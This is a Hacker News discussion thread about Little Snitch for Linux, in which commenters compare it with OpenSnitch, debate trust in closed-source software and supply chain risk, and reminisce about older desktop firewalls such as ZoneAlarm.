[HN Gopher] LittleSnitch for Linux
___________________________________________________________________
LittleSnitch for Linux
Author : pluc
Score : 1155 points
Date : 2026-04-09 00:26 UTC (16 hours ago)
(HTM) web link (obdev.at)
(TXT) w3m dump (obdev.at)
| hackingonempty wrote:
| LittleSnitch doesn't tattle on itself phoning home.
| p-e-w wrote:
| Is that true? If so, that's not a good sign. I remember how
| impressed I was by ZoneAlarm in the early 2000s asking
| permission for _itself_ to connect to the Internet, using the
| exact same dialogue it presented for any other program, with no
| dark patterns suggesting that the user should give preferential
| treatment to it.
| jshier wrote:
| Doesn't seem to be, I can see LittleSnitch itself connecting
| to yoyo.org and obdev.at. GP may be referencing a past bug,
| either in LittleSnitch or macOS.
| littlesnitch wrote:
| If it connects to yoyo.org, you have subscribed to Peter
| Lowe's blocklist and Little Snitch is trying to update the
| list from there.
| jshier wrote:
| I have, yes. Didn't bother to check the domains, just
| wanted to say they were visible.
| allthetime wrote:
| It does... and if it didn't it would be trivial to prove.
| littlesnitch wrote:
| Any proofs for this claim?
| Bromeo wrote:
| How does it compare to opensnitch?
| https://github.com/evilsocket/opensnitch
| lapcat wrote:
| "I researched a bit, found OpenSnitch, several command line
| tools, and various security systems built for servers. None of
| these gave me what I wanted: see which process is making which
| connections, and in the best case deny with a single click."
| https://obdev.at/blog/little-snitch-for-linux/
| haswell wrote:
| I've used OpenSnitch for years, and while LittleSnitch
| definitely has a better UI for showing which process is
| making which connections over time, OpenSnitch does a pretty
| good job here. I get a modal popup when a program that hasn't
| made a connection tries to make a connection, and I can
| either allow/deny in one click, or further customize the rule
| e.g. allowing ntpd to connect, but only to pool.ntp.org on
| port 123.
|
| Where LittleSnitch is definitely ahead is showing process
| connections over time _after_ said process has been allowed.
| unsnap_biceps wrote:
| When I looked at OpenSnitch (years ago), it didn't support
| running headless on a server. Am I mistaken about this, or
| has it changed?
| mixmastamyk wrote:
| The UI is a separate package. Though you might just
| configure the firewall yourself at that point.
| sgc wrote:
| You can run daemons on several nodes (different machines)
| and view them all through a central ui, it is pretty
| cool.
| colesantiago wrote:
| It is free, no subscription at all and truly open source.
|
| As software should be.
| lordmoma wrote:
| how should maintainer make money?
| foo12bar wrote:
| Hunt, gather.
| SV_BubbleTime wrote:
| There was also toolmaker to support the hunter and
| gatherer... so... back to square one.
| abeyer wrote:
| Personally I'd be fine with a commercial license with
| source available here... the issue isn't the price, it's
| the fact that you're asked to MITM every network connection
| you make under the control of a binary blob.
|
| I think it's fair to ask that a developer choosing to build
| a thing that requires that kind of access should be
| expected to err on the side of transparency.
| righthand wrote:
| You mean "how can I donate?"
|
| https://github.com/evilsocket/opensnitch?tab=readme-ov-
| file#...
| konart wrote:
| So... what if the maker can't make it on donations only?
| preisschild wrote:
| Then development will stop and users don't have the
| software anymore.
|
| If users consider this software important they should
| donate so they can keep using it.
| veber-alex wrote:
| How exactly is this different from payed software?
| dizhn wrote:
| There is a ton of software that lives on because it
| matters to the _developer(s)_. I know "but mah
| monetization" is huge on this forum but it's not an all
| encompassing rule and it does not completely reflect the
| existing reality.
| bornfreddy wrote:
| Strong disagree on this stance. You want to use the
| software? Cool, pay for it. Need access to source? It's
| on github, go nuts. Want to change it? Sure, feel free,
| but whoever uses it should pay the original developer.
| You can even charge extra for your modifications. Don't
| like the terms? Too bad - feel free to rewrite from
| scratch.
|
| FOSS simply isn't sustainable if you want to make a
| living out of it. It protects a lot of user freedoms -
| even those that don't actually matter to users that much
| - at the expense of the rights of developers. There are a
| lot of ways that developers could be paid and users would
| still be protected (have access to source and the right
| to modify). The only ones benefitting from the current
| situation are BigTech.
|
| /rant
| dizhn wrote:
| Who are we to dictate terms to or divine the intentions
| of someone who releases software with say the MIT
| license? It might sound surprising but a lot of
| developers just want to share their work altruistically.
| There are some you couldn't pay if you wanted to. It's
| all voluntary.
|
| > FOSS simply isn't sustainable if you want to make a
| living out of it.
|
| This is probably true enough. Yet there are a million
| open source projects that existed, some for decades.
| There has go to be another way and another motivation.
|
| > even those that don't actually matter to users that
| much - at the expense of the rights of developers
|
| I would assume those developers would use a different
| license or even create their own terms.
|
| > The only ones benefitting from the current situation
| are BigTech.
|
| Paying the original developers will not change this. Big
| tech is big. They take whatever they can, sometimes
| killing the original project in the process. Perhaps a
| license like GPL is the solution to that particular
| problem.
|
| I don't mean to come off snarky. I do agree with a lot of
| the things that you're saying but I see the free software
| movement as a completely voluntary and human thing. You
| could not get rid of it if you wanted. Paying for it is
| an auxiliary thing and concentrates too much on the wrong
| thing IMO. A lot of free software developers are already
| gainfully employed, some are millionaires. Yes some are
| struggling but then they are still voluntarily sharing
| their work with the whole world. That must mean they have
| their valid reasons for doing so.
| righthand wrote:
| The developer isn't accepting a job offer to develop it,
| they're accepting donations. That's literally how the
| software devs for Opensnitch choose to receive payment.
| preisschild wrote:
| open source / free software is not necessarily free as in
| free beer. You can sell GPL software.
| 7402 wrote:
| I've happily been a paid user on macOS for years, I would
| guess the number of paid users there was able to fund the
| Linux development.
| sgc wrote:
| I just tried littlesnitch and it did not resolve very many ips
| to domains, which is pretty basic. It also failed to identify
| most processes, and they were grouped under "Not Identified".
| It appears these are known limitations of the Linux version
| [1]. So for that alone I need to stick with opensnitch.
|
| [1] "Little Snitch for Linux is built for privacy, not
| security, and that distinction matters. The macOS version can
| make stronger guarantees because it can have more complexity.
| On Linux, the foundation is eBPF, which is powerful but
| bounded: it has strict limits on storage size and program
| complexity. Under heavy traffic, cache tables can overflow,
| which makes it impossible to reliably tie every network packet
| to a process or a DNS name. And reconstructing which hostname
| was originally looked up for a given IP address requires
| heuristics rather than certainty. The macOS version uses deep
| packet inspection to do this more reliably. That's not an
| option here." -- from https://obdev.at/products/littlesnitch-
| linux/index.html
| toredash wrote:
| Is there any DNS based software to do block/allow? Kinda lika
| what's present in CiliumNetworkPolicies in Kubernetes
| networking?
| Milpotel wrote:
| You mean like PiHole or AdGuard?
| M95D wrote:
| Yes, PiHole is the most common, but malware can easily
| bypass that using shared domains, P2P or IP addresses
| directly.
|
| Use a filtering proxy instead and no gateway / route to the
| internet.
| chupasaurus wrote:
| 1) Dnsmasq, you don't need the whole PiHole for that.
|
| 2) You're advising security through obscurity instead of
| a network namespace + firewall.
| gus_ wrote:
| OpenSnitch (+ block lists) ;)
|
| or DNS stubs with filtering capabilities.
| littlesnitch wrote:
| Regarding unidentified processes: Little Snitch daemon must
| have been running when the process started in order to
| identify it reliably. It's best to reboot after installation
| so that Little Snitch starts before everything else. I should
| probably note this somewhere.
|
| And regarding failed reverse DNS names: Little Snitch is
| sniffing DNS lookups. If lookups are encrypted, there is
| little it can do. We usually recommend DNS encryption at the
| systemd layer, not at app layer. This way we can see lookups
| on 127.0.0.53 and the actual lookup sent out is still
| encrypted.
|
| Also, it's currently only sniffing UDP lookups, not TCP. The
| eBPF part is already very close to the complexity limits
| (700k instructions of allowed 1M) and adding TCP parsing
| would exceed this limit. It should be possible to forbid TCP
| port 53 with a rule, though. Some complex DNS lookups will
| fail, but routine things should still work.
| janc_ wrote:
| Not all "hostname lookups" by applications happen over DNS
| (or the DNS is done by something like systemd-resolved,
| which is often using encrypted lookups), so in many cases,
| depending on NSS configuration (e.g. 'file', 'resolve',
| 'db', 'nis', 'mymachines', 'libvirt', 'winbind', ...) this
| would never work?
| sgc wrote:
| If I don't know who my machine is talking to, the
| information is not very useful. So there needs to be a
| fallback on some level.
|
| Perhaps there should be a mode where littlesnitch just does
| its own lookup using the system-configured rDNS, for
| example from the ui or for specific processes, etc? It
| should be cached if it is a recent lookup, so minimal
| performance implications; and offloaded to the system rDNS
| resolver, so minimal instruction set.
| patrakov wrote:
| The thing is, 127.0.0.53 is a fallback. The real default
| upstream is nss_resolve, which talks to systemd-resolved
| via non-DNS protocol on a UNIX-domain socket. Ubuntu
| disabled this in favor of the less-featured fallback. If
| you insist on sniffing DNS, you need to add instructions to
| disable the native nss_resolve module by not including it
| in /etc/nsswitch.conf.
| a022311 wrote:
| I guess that makes sense, since it's pretty new. OpenSnitch
| is great software in terms of functionality but I find the UI
| lacking. If LittleSnitch can keep the same functionality,
| while improving the UI, I'm switching. My other current
| concern here is that the LittleSnitch UI is just a Webview
| and I think it would be much better if there was a native
| option (ideally GTK-based for me, but Qt would also be
| acceptable). Webviews are slow and full of bloat.
| jms703 wrote:
| I wonder why LS can't be given access to systemd resolved
| stub resolver to get all my DNS lookups.
| giancarlostoro wrote:
| Not sure, I was wondering the same, opensnitch is what I have
| installed but its not on currently, I probably got tired of it
| for whatever reason.
| SamuelAdams wrote:
| So if this is free to use on linux, what is to stop someone from
| doing what Colima did to Docker? Aka make a tiny Linux VM on
| MacOS and package Little Snitch within that?
| azinman2 wrote:
| I don't think it'll have access to the macOS connections, and
| certainly cannot act at the kernel-supported level as a
| firewall on the Mac side.
| Cider9986 wrote:
| It barely has any of the features of the MacOS version, there
| is no shortage of cracks for Little Snitch, and there is Lulu.
| Other than that, I am not sure.
| firelizzard wrote:
| Little Snitch requires packet inspection. If you ran it in a
| Linux VM, it will inspect packets within the VM. So... kind of
| useless for monitoring connections on the host.
| rvz wrote:
| Also from [0].
|
| > You can find Little Snitch for Linux here. It is free, and it
| will stay that way.
|
| Don't worry, the authors know that there's no point in charging
| Linux users. Unlike Mac users.
|
| So you might as well make it $0 and the (Linux) crowd goes wild
| that they don't need to pay a cent.
|
| However...
|
| > I researched a bit, found OpenSnitch, several command line
| tools, and various security systems built for servers. None of
| these gave me what I wanted: see which process is making which
| connections, and in the best case deny with a single click.
|
| OpenSnitch is open source. You don't need to trust it as you can
| see the code yourself. Little Snitch on the other hand, is
| completely closed source.
|
| Do you still trust them not to do self-reporting or phoning home,
| even though it is $0 and closed source?
|
| [0] https://obdev.at/blog/little-snitch-for-linux/
| lapcat wrote:
| > Do you still trust them not to do self-reporting or phoning
| home, even though it is $0 and closed source?
|
| If you trust Little Snitch on Mac, then yes.
|
| They've been in business for over 20 years. They're not going
| to blow their entire business and reputation for a few Linux
| users.
| emmelaich wrote:
| Yep, I trust the obdev.at / Snitch guys.
|
| I do wonder however, are they sufficiently careful about
| their processes and own machines to avoid a supply chain
| attack completely.
|
| They _must_ be a target for the various hacking groups out
| there.
| lapcat wrote:
| This comment seems a bit confused.
|
| A supply chain attack doesn't directly attack an end
| developer but rather a supplier of the developer. So who or
| what is the supplier in this case?
| hsbauauvhabzb wrote:
| This seems pedantic and I think you know what they're
| questioning and why.
| lapcat wrote:
| > I think you know what they're questioning and why.
|
| No, not really. And I disagree with the premise, "They
| _must_ be a target for the various hacking groups out
| there. "
|
| How would you even hack them? I'm a developer too; how
| would you hack me?
| heartbreak wrote:
| Options range from carefully targeted phishing or social
| engineering attacks to poor opsec and a five dollar
| wrench.
| lapcat wrote:
| > a five dollar wrench.
|
| I'm not even going to respond to this ridiculousness.
|
| I still don't know why anyone thinks that, among all
| developers in the world, a little indie Mac developer is
| getting targeted specifically.
| emmelaich wrote:
| Some targets are more valuable than others. A firewall
| product has obvious security value. The fact that it
| requires high privilege is another reason.
|
| I have the same thoughts about other Mac apps. e.g.
| iTerm2 - cause they "see" so much sensitive data.
| lapcat wrote:
| [flagged]
| hsbauauvhabzb wrote:
| Yeah just yolo install whatever, it's not like
| applications or libraries such as axios which have a
| decade of trusted history would all of a sudden become
| malicious and do nasty things to developer machines, just
| chill, everything's fine.
| lapcat wrote:
| > Yeah just yolo install whatever
|
| That's not even remotely what I said.
|
| > it's not like applications or libraries such as axios
|
| iTerm doesn't use NPM. Little Snitch doesn't use NPM. I
| don't use NPM.
| hsbauauvhabzb wrote:
| [flagged]
| tomhow wrote:
| WTF? This is not an acceptable comment on HN, no matter
| who or what you're replying to. This style of commenting
| is not what this site is for, and destroys what it is
| for.
|
| If you wouldn't mind reviewing
| https://news.ycombinator.com/newsguidelines.html and
| taking the intended spirit of the site more to heart,
| we'd be grateful.
| hsbauauvhabzb wrote:
| The same people who targeted the open source uncommercial
| library axios *last week*?
|
| Access to little snitch would be worth millions to the
| right party.
| lapcat wrote:
| >> I still don't know why anyone thinks that, among all
| developers in the world, a little indie Mac developer is
| getting targeted specifically.
|
| > The same people who targeted the open source
| uncommercial library axios _last week_?
|
| axios is an NPM package. Little Snitch doesn't use NPM.
| Thus, these people must be pretty damn incompetent if
| they were trying to target Little Snitch.
|
| > Access to little snitch would be worth millions to the
| right party.
|
| This is a bold claim with no evidence. I don't think it's
| true.
| hsbauauvhabzb wrote:
| Shell (and probably root) access to tens of thousands of
| development machines wouldn't be worth millions to the
| right party?
| heartbreak wrote:
| > I'm not even going to respond to this ridiculousness.
|
| Why is it ridiculous? If you have electronic access to
| something of value and broadcast that fact on the
| internet, you're at risk of a physical attack. That's not
| controversial? Companies make employees do training about
| this for a reason.
| lapcat wrote:
| > If you have electronic access to something of value and
| broadcast that fact on the internet, you're at risk of a
| physical attack. That's not controversial? Companies make
| employees do training about this for a reason.
|
| You're talking as if all all "value" and all "risk" is
| equal, when they're definitely not. You can't equate a
| megacorporation with a little indie developer. Nobody
| cares about the latter.
|
| I am a software developer, and I broadcast that fact on
| the internet. But nobody is coming to Wisconsin to hit me
| on the head with a wrench. That's just a silly paranoid
| fantasy.
|
| If anyone hits me on the head with a wrench, it would be
| not be a nation-state but rather a two-bit local mugger
| who has no idea who I am and just wants cash from my
| wallet. I live in a pretty safe area though.
| balamatom wrote:
| Nobody _that you know of_.
| emmelaich wrote:
| ?! The same way every other developer that has been
| hacked. You surely cannot be suggesting you're un-
| hackable. That seems ludicrously hubristic.
| lapcat wrote:
| > The same way every other developer that has been
| hacked.
|
| There's not one single way, so, no, you're just hand-
| waving here.
| emmelaich wrote:
| Just saying developers have been hacked. Underrated
| existence proof.
| lapcat wrote:
| > Just saying developers have been hacked.
|
| So are you going to have this same discussion in every HN
| submission that mentions any piece of software?
| hsbauauvhabzb wrote:
| What software do you actually develop? You clearly don't
| give a shit about your users and I want to make sure I'm
| not using your software .
| BoredPositron wrote:
| If they trust the devs why would they not trust them to
| not yolo deploy new versions?
| dylan604 wrote:
| because a company worthy of trust doesn't yolo their
| versions. a company that does yolo versions is not
| trustworthy.
| hsbauauvhabzb wrote:
| Because it might not be the developers doing the
| deploying, but a malicious actor?
| emmelaich wrote:
| They don't build their own machines or write their
| compilers or write their own crpyto code or ... so many
| other things.
| lapcat wrote:
| > They don't build their own machines or write their
| compilers or write their own crpyto code or ... so many
| other things.
|
| An attack on any of these things has nothing specifically
| to do with the developers of Little Snitch and would have
| vastly more widespread and important effects.
|
| Why would you even be talking about Little Snitch if a
| _compiler_ were compromised?!? Your paranoia here is
| bizarrely narrow. Little Snitch would be the least of our
| problems in that case.
| emmelaich wrote:
| _Their_ copy of the compiler. Just an example. -\\_(tsu)_
| /-
| lapcat wrote:
| > _Their_ copy of the compiler.
|
| This doesn't even make sense. You have no examples.
| LamaOfRuin wrote:
| That seems... not correct?
|
| The comment was asking about preventing a compromised
| supplier for the developers.
|
| A supply chain attack can be anywhere in the supply chain
| to the target. If I, the end user, am the target, then a
| supply chain attack compromising the developer of
| LittleSnitch is effective.
|
| I may then be a conduit to compromising other software or
| components, and would both I and LittleSnitch would be
| part of the supply chain that could be attacked targeting
| them.
| lapcat wrote:
| > If I, the end user, am the target
|
| You're not a target, anonymous rando.
| microtonal wrote:
| Many supply chain attacks aim to run malware on the end-
| users machine to harvest authentication tokens, etc. So
| pretty much everyone here who is a developer is the
| target.
| lapcat wrote:
| > So pretty much everyone here who is a developer is the
| target.
|
| Are you going to have this same discussion about every
| piece of software every mentioned on Hacker News? Why are
| we having it for Little Snitch specifically?
| littlesnitch wrote:
| We have not detected a targeted attack yet. On the Mac
| side, we are safe: No dependencies on any third party
| libraries. Only Apple.
|
| On the Linux side, there is no single big vendor such as
| Apple who provides all the necessary libraries. I have
| tried to choose reputable sources from crates.io only, but
| to be honest, I don't know a secure solution to the
| problem.
| papascrubs wrote:
| Two of the three components of LittleSnitch for Linux are open
| source. The eBPF (kernel portion) and UI are fully open source.
| alhazrod wrote:
| I remember before Little Snitch there was ZoneAlarm for
| Windows[0] (here is a good screenshot[1]). No clue if the current
| version of ZoneAlarm does anything like that (have not used it in
| 2 decades). I always found it weird that Linux never really had
| anything like it.
|
| [0]: https://en.wikipedia.org/wiki/ZoneAlarm
|
| [1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-
| content/upl...
| laweijfmvo wrote:
| isn't this essentially built into Windows these days? although
| it seems to come with a lot of programs pre-approved.
| BoredPositron wrote:
| Most of the windows firewalls tools are just front ends for
| the integrated one with more sensible defaults.
| wolrah wrote:
| No, the Windows firewall in its default configuration does
| not restrict outbound connections in any way. Any application
| can make any outbound connection it wants. If an application
| attempts to listen for incoming connections from external
| sources and there is not an existing policy, Windows will pop
| up a dialog asking the user if they want to allow this and if
| so whether it should be allowed to listen on all networks,
| only networks marked as "private", or for domain-bound
| corporate computers only networks where the domain controller
| is reachable.
|
| It can be manually configured with very detailed policies,
| but you have to know where to go to find those controls.
|
| It's been a while since I used ZoneAlarm or Little Snitch,
| but the last time I used either one the default behavior was
| instead that any connection attempt or attempt to listen for
| which there was not a policy would result in a dialog showing
| all the details about what application is looking to connect
| to or receive connections from what as well as a variety of
| options for creating a policy or even not creating a policy
| and just deciding whether that one connection would be
| allowed.
|
| Also back when I used ZoneAlarm I had dialup so the taskbar
| addon they had which showed realtime bandwidth usage and what
| applications had active connections was really useful. It
| also had a big red "Stop" button that would immediately
| disable all connections, which thinking about it in
| retrospect really makes me miss the more innocent days of the
| internet.
| lofaszvanitt wrote:
| You gonna commit seppuku if you try to add rules with the
| built in one.
| Neikius wrote:
| Iirc the firewall was already in XP. Maybe earlier but sp2
| for sure.
|
| Default allows everything though but you could even set
| outbound blocking rules. Cumbersome UI and no really good
| visibility though.
| brandon272 wrote:
| Completely forgot about ZoneAlarm. I remember using it in the
| early 2000s!
| loeber wrote:
| Same!
| nurettin wrote:
| Such nostalgia! I probably forgot about it after switching
| over to Linux 25 years ago.
| Foobar8568 wrote:
| Same... Totally forgot about ZA.
| leokennis wrote:
| I read ZoneAlarm and it was like suddenly a part of my brain
| that went unvisited for 25 years lit up...
| Steltek wrote:
| WinAmp skins. Alternate shells for Windows(!). Cygwin
| because I still played too many games to go full Linux.
|
| Yeah...
| lossyalgo wrote:
| btw all versions of WinAmp + skins still work great in
| 2026 even on Win11 :)
| temp0826 wrote:
| It still whips the llama's ass.
| classic959 wrote:
| I helped administer the CheckPoint commercial version of this
| before 2010 in a large enterprise (Checkpoint Integrity it
| was badged as). Really good product though we did have some
| bugs with it - I do remember the developers from Israel got
| involved and were very capable.
|
| It mostly worked exactly as you would want a desktop firewall
| to, and integrated nicely with Cisco VPN tech, so you could
| ensure Integrity was operating correctly before fully opening
| up the tunnel for access to corporate assets.
| aaronax wrote:
| Same. And in a similar vein--AnalogX NetStat Live.
| jerukmangga wrote:
| It's interesting hw lng it took for linux to get a user
| friendly application firewall like OpenSnitch
| M95D wrote:
| It's because there's no way to make universal kernel
| modules/drivers, like it is on Windows.
| akdev1l wrote:
| The way to make kernel modules is to submit them to the
| kernel. Not really sure what a "universal kernel module"
| really is.
|
| Also that seems irrelevant because it seems this was
| implemented in eBPF so no kernel modules are required.
| alex0com wrote:
| This reminded me of running Kerio Personal Firewall. When Kerio
| ended I switched to either ZA or Comodo firewall, one of them
| introduced a neat feature of running executables in containers.
| Made clicking random things so much easier. But the best part
| with all of these was restricting windows to where it could
| barely do anything. "RandomXYZ.DLL wants to execute random what
| and connect to random where? I dont think so MS." lol
| kasperset wrote:
| There was also Tiny Firewall which got bought by Computer
| Associates around 2005. Probably the most complicated or fine
| grain control for me at that time in Windows XP.
| distances wrote:
| This is what I used! At some point I managed to block DHCP
| lease renewals on my computer, and Internet would always stop
| working after a given timespan. Took a good while to figure
| out I caused the problem myself.
| vasvir wrote:
| and that's how you learn...
|
| Shooting yourself in the foot really helps to built
| intuition!
| Zobat wrote:
| Sometimes called "high instructional value".
| pachouli-please wrote:
| i loved zonealarm! and also pained myself with all the little
| rules and upkeep lol
| VerTiGo_Etrex wrote:
| Wow. Insane throwback. I think I first learned about ZoneAlarm
| from some PC magazine my parents bought for me. Completely
| forgot about this great piece of freemium!
| whalesalad wrote:
| I learned about it from Leo and Patrick on The Screen Savers
| asimovDev wrote:
| if anyone else suddenly started wondering, PC magazines still
| exist in physical form. There are even still Linux magazines
| that come with installer CDs for distros. And all kinds of
| other magazines as well, like for Mac computers, for photo
| editors, for Raspberry Pi etc.
| Scrounger wrote:
| Who remembers BlackICE Defender tho?
|
| https://archive.org/details/BlackICE_Defender
| SV_BubbleTime wrote:
| I was there for SoftICE and BlackICE.
|
| Simpler times.
| ninjaoxygen wrote:
| I remember switching from Win95 to NT4.0 just to be able to
| use SoftICE properly under Windows without all the
| stability problems, it was an incredible time! SoftICE felt
| like absolute wizardry at the time.
| avazhi wrote:
| Back in the Halo 2 days ZoneAlarm and Cain and Abel were the
| go-to host bridging and bluescreen programs.
|
| A simpler time lol.
|
| Used to use Outpost Firewall Pro, too.
| Chaosvex wrote:
| Good old Halo 2 stand-bying. An absolute plague.
| JetSetIlly wrote:
| I wrote a program similar to this for AmigaOS many, many years
| ago. I would have been inspired by ZoneAlarm or a program like
| it.
|
| I've just found it and uploaded it to github. Looking at the
| code, I can see my horrible C style of the time. There's
| probably bugs galore.
|
| https://github.com/JetSetIlly/Direwall
|
| If I remember correctly, it runs as a commodity and patches the
| socket library. Interestingly, the socket library was not re-
| entrant (unusual for Amiga libraries) so I had to patch the
| Exec OpenLibrary() function to monitor the loading of new
| copies of the socket library. But it's been a long time so
| memories are hazy.
|
| It'll be interesting to see if it is still compiles and runs
| for modern AmigaOS, if any active Amiga programmers are around
| to see.
| DerSaidin wrote:
| For me it was Sygate personal firewall back on windows xp
| orangesilk wrote:
| > [ZoneAlarm] I always found it weird that Linux never really
| had anything like it.
|
| There was simply no need for it. GNU provided most of the
| software, spyware was unknown.
|
| Only since comercial vendors package for linux and bring their
| spyware along, the desire to inspect network rose.
| justsid wrote:
| This is such a naive view on computer security. It's not just
| about spyware, which is also not exclusive to commercial
| vendors.
| fsflover wrote:
| What else is this about? Debian repositories still contain
| no malware and if you install software exclusively from
| them, you'll be safe.
| M95D wrote:
| Does it contain Firefox? How about Chrome?
|
| Quote from LittleSnitch:
|
| > Little Snitch for Linux is built for privacy, not
| security
|
| What's your definion of malware in this context?
| fsflover wrote:
| It contains Firefox and Chromium. You are right that they
| may call home, but at least it's very limited and easily
| configurable. Could be too much for you but fine with me.
| Also Debian does change their config by default to
| minimize privacy issues:
| https://news.ycombinator.com/item?id=32582260
| m132 wrote:
| It's far from easy in the case of Firefox [0], and the
| last time I tried, some .mozilla.com domains would still
| get pinged. Chromium doesn't even have an official guide.
| The only options I found to be reliable are source-level
| patches, i.e. ungoogled-chromium and LibreWolf.
|
| Note that LibreWolf still leaves some of the stuff on for
| you to manually disable (dom.push.connection.enabled,
| extension updates).
|
| [0] https://support.mozilla.org/en-US/kb/how-stop-
| firefox-making...
| grepfru_it wrote:
| In firefox, goto about:config and search for url.
|
| You're welcome.
| m132 wrote:
| Run OpenSnitch for a while and you'll quickly realize how
| much of your system does phone home. Off the top of my
| head:
|
| - GNOME Shell (extension updates without a way to disable
| this, weather),
|
| - GNOME Calculator (currency exchange rates),
|
| - NetworkManager (periodic hotspot portal checks in most
| configurations),
|
| - GDB (debuginfod enabled by default),
|
| - Firefox (extension updates, push notifications, feature
| flags, telemetry, ..., some parts cannot be disabled),
|
| - VSCodium (Open VSX callbacks even when installing
| extensions from disk with updates disabled, JSON schema
| auto-downloads, extensions making their own unsolicited
| requests, ...),
|
| - Electron (dictionary updates from Google servers, no
| way of disabling; includes any application running on top
| of upstream Electron, such as Signal, Discord, etc.),
|
| - GoldenDict (audio samples fetched from the Internet on
| word look-up, no way to disable)
|
| Of course, this is nothing compared to Windows [0] and
| macOS [1], but the malpractice of making Internet
| connections without asking, by default, has unfortunately
| been finding its way everywhere since modems stopped
| making audible sounds.
|
| Having read about PRISM and seen the leaked dashboards of
| Paragon Graphite (said to be used by ICE), and with LLMs
| bridging the gap between mass and targeted surveillance,
| I don't want any of this.
|
| [0] https://github.com/microsoft/calculator/blob/ffd05196
| 76019a0...
|
| [1] https://sneak.berlin/20201112/your-computer-isnt-
| yours/
| consp wrote:
| > GNOME Calculator (currency exchange rates),
|
| Which would crash (technically hang) if you blocked it.
| [0]
|
| [0] https://forums.debian.net/viewtopic.php?p=818264
| worthless-trash wrote:
| Are these malware ?
| m132 wrote:
| Per se? No, maybe with the exception of GNOME Shell which
| literally runs code from the Internet unsandboxed. Can
| the traffic they silently generate be used for malicious
| purposes? Absolutely.
| WD-42 wrote:
| Wasn't it KDE that had malware in its theme store not too
| long ago? Let that sink in for a bit. You changed around
| some icon themes and it executed arbitrary code.
|
| And let's not pretend that kde wouldn't have an extension
| system if it could - but it'll never have one because
| implanting one in that c++ spaghetti nightmare will never
| happen.
| m132 wrote:
| I think you meant to reply to this:
| https://news.ycombinator.com/item?id=47702680
|
| But if not, I'm not criticizing GNOME in isolation here.
| It's just what I use and what I'm most familiar with. KDE
| has the same issues and it does have an extension system
| too. It's called KNewStuff.
| youcouldalwz wrote:
| you could always run kwin_wayland and prevent all that
| phoning home...
| emj wrote:
| People still care about these things on Debian. But as is
| said 20 years ago there was no need, because the default
| was to be sane.
| k4rnaj1k wrote:
| Problem with updates is that without automatic ones,
| users could stay on outdated systems and possibly get
| hacked through some vulnerability(of which there are
| many). While on the other hand, having explicit
| confirmations for each network request would be crazy
| annoying.
|
| Maybe some middleground of having the tool OP sent built-
| in would be a good option.
| m132 wrote:
| I run all my systems with all outgoing connections
| blocked by default, and yes, it is annoying.
|
| But it wasn't always this way, and so, I don't think it
| has to be. People just need to start paying attention to
| this.
|
| The impact of a lot of those vulnerabilities would be
| mitigated if the affected programs didn't connect to the
| network in the first place.
|
| As for updates in general, I really like the model
| adopted by Linux update managers and BSD port systems.
| The entire repository metadata is downloaded from a
| mirror and cached locally, so the search terms never
| leave your machine. Downloads happen from the nearest
| mirrors, there's no "standard" mirror software (unless
| rsync and Apache count?) so they don't report what was
| downloaded by whom back to any central system and you can
| always host your own. Everything is verified via GPG. And
| most importantly, nothing happens on its own; you're
| expected to run `apt/dnf update` yourself. It won't
| randomly eat your bandwidth on a metered connection or
| reveal your OS details to a public hotspot.
|
| Simple, non-invasive, transparent, (almost) all-
| encompassing, and centrally configurable.
| givinguflac wrote:
| Ads, trackers, general boost to privacy. Not every
| protection tool is just about malware.
| Asooka wrote:
| Yeah I will also be safe if I never turn on the PC, but
| some of us use computers to do actual work.
| stavros wrote:
| It's not, though. There simply wasn't enough malware to
| worry about. Why would I run a firewall when I was unlikely
| to ever encounter a malicious program?
| ShinTakuya wrote:
| I mean, supply chain attacks are a thing that could have
| happened even in the earlier days. Linux almost got
| backdoored in 2003.
|
| Also with the number of remote code execution exploits
| that have occurred in Web browsers over the years it's
| hard to know for sure if what you installed hasn't been
| hijacked unless you spent all your time on gnu.org
| stavros wrote:
| Yes, but the probability of the average user getting
| pwned was so small that it wasn't worth the constant
| firewall babysitting.
| latentpot wrote:
| It was problematic, so we moved to blackice defender iirc
| tosti wrote:
| I ran ntop on a router in 2001. It had a highly insightful
| overview of traffic with nice looking diagrams and everything.
| There hasn't been anything like that since as far as I'm aware.
|
| ZoneAlarm otoh, was snakeoil. Programs that ran at the same
| privilege level (typically everything) could bypass it in
| various ways.
| philipstorry wrote:
| What I really liked about ZoneAlarm wasn't just that it was a
| very nice technology - and it was; but also that it got the
| user expectations and training right from a very early stage.
|
| It was quite insistent on the fact that it would be "noisy" at
| first as it queried all the programs you ran, but would then
| quieten down once it had been "trained". It got that across in
| clear, simple language.
|
| I think it was so successful because it got the soft side of
| its security job right as well as the hard part. It's certainly
| why I recommended it to anyone at the time...
| yndoendo wrote:
| Was working as an IT consultant. We got a call from an
| international manufacturer in the area for support. Local
| lead IT manager took down the firewall which infected their
| computer network around the world. All they wanted were
| bodies to help clean systems and apply OS updates.
|
| My personal computer had ZoneAlarm on it. It became ground
| zero for reporting about infected systems. They ignored
| systems they thought were save; CISCO phone system running on
| Windows server and other backend devices. The company then
| bought a few licenses to run their own laptops.
|
| It is such a same that Microsoft destroyed _ERD Commander_
| and other quality tools which assisted in the clean up.
| WhyNotHugo wrote:
| > I always found it weird that Linux never really had anything
| like it.
|
| OpenSnitch must be like ten years old by now. I think also
| portmaster is somewhat similar too.
| Avicebron wrote:
| Probably should throw it out there that I'm building something
| inspired by littleSnitch for windows. Currently a bit stealthy
| about it. But when I crowd source the funding for a code signing
| cert I'll get it out there. Lots of inspiration from
| LittleSnitch, in spirit if not actual code.
| forsalebypwner wrote:
| I'd be curious to hear additional details if you can share -
| got a timeline, or somewhere I can enter my email address for
| updates? I'd love to alpha/beta test if you're looking for
| testers.
|
| I've been a GlassWire user for years, which partially fills the
| role of LS, but not very well. Aside from the many performance
| issues I've seen, it's missing a lot of LS essentials. To be
| fair, I think the focus of GlassWire is more about visualizing
| traffic on your Windows computer, but I definitely believe
| there is a need for better Windows network software for power
| users.
| Avicebron wrote:
| It's a custom WFP driver. No timeline yet..
|
| If you or I guess anyone is curious sereno[hyphen]alpha[dot]r
| amble[thenumberoftechn9ne'sfavoriterum]@passinbox.com
| forsalebypwner wrote:
| Just reached out (I think )
| accidue wrote:
| The irony of having to ask AI to figure that out... we've
| come full circle.
| Cider9986 wrote:
| This has the author's blog post on it
| https://obdev.at/blog/little-snitch-for-linux/
| serious_angel wrote:
| > The macOS version can make stronger guarantees because it can
| have more complexity. On Linux, the foundation is eBPF, which is
| powerful but bounded: it has strict limits on storage size and
| program complexity. Under heavy traffic, cache tables can
